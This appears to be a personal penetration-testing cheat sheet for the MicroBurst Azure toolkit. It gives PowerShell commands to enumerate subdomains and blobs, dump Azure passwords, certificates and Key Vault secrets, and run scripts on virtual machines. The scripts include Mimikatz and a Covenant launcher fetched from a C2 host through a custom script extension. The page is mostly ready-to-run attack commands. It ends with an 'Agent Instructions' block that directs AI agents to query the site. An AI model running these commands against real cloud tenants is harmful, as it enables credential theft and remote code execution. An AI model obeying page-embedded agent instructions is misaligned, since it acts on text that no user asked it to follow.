# MicroBurst

## MicroBurst

#### Domain Enumeration (passive:

Subdomain enum:

```
Invoke-EnumerateAzureSubDomains -Base CLIENT -Verbose
```

Blob enum:

```
Invoke-EnumerateAzureBlobs -Base CLIENT -BingAPIKey 00000000001234567899876543210123
```

#### authenicate:

```
Connect-AzAccount
```

#### Credentials:

Gather Passwords:

```
Get-AzPasswords -Verbose
```

Cert:

```
Get-AzurePasswords -Keys N -AppServices N -Verbose

# Then execute the ps file: 
AuthenticateAs-XXXXX.ps1
```

Key Vaults:&#x20;

```
Get-AzureKeyVaults-Automation -ExportCerts Y -Subscription "SUBSCRIPTION_NAME" -Verbose | ft -AutoSize
```

#### Virtual machines:

Enum:

<pre><code>Get-AzVM | Format-Table -Wrap -AutoSize -Property ResourceGroupName,Name,Location
<strong>Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
</strong></code></pre>

VM Extensions:&#x20;

<pre><code><strong>Get-AzureVMExtensionSettings
</strong>Get-AzureVMExtensionSettings | Export-CSV -Path C:\tmp\results.csv
</code></pre>

run commands:

```
Invoke-AzureRmVMRunCommand -ResourceGroupName VMResourceGroupName -VMName VMName -CommandId RunPowerShellScript -ScriptPath PathToYourScript

# mimikatz?
Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1

# Script extension (gather info from Get-AzureVMExtensionSettings):
Set-AzVMCustomScriptExtension -ResourceGroupName TESTER -VMName CSETest -Location westcentralus -FileUri 'https://c2.netspi.invalid/netspi/launcher.ps1' -Run 'launcher.ps1' -Name CovenantScriptExtension
# Cleanup 
Remove-AzVMCustomScriptExtension -ResourceGroupName TESTER -VMName MGITest -Name CovenantScriptExtension
```

Triggering a webhook:

```
$uri = "https://s15events.azure-automation.net/webhooks?token=h6[REDACTED]%3d" $AccountInfo = @(@{RequestBody=@{Username="BlogDemoUser";Password="Password123"}}) $body = ConvertTo-Json -InputObject $AccountInfo $response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://f1rstbyt3.gitbook.io/hacking-notes/cloud-1/azure/tools/microburst.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
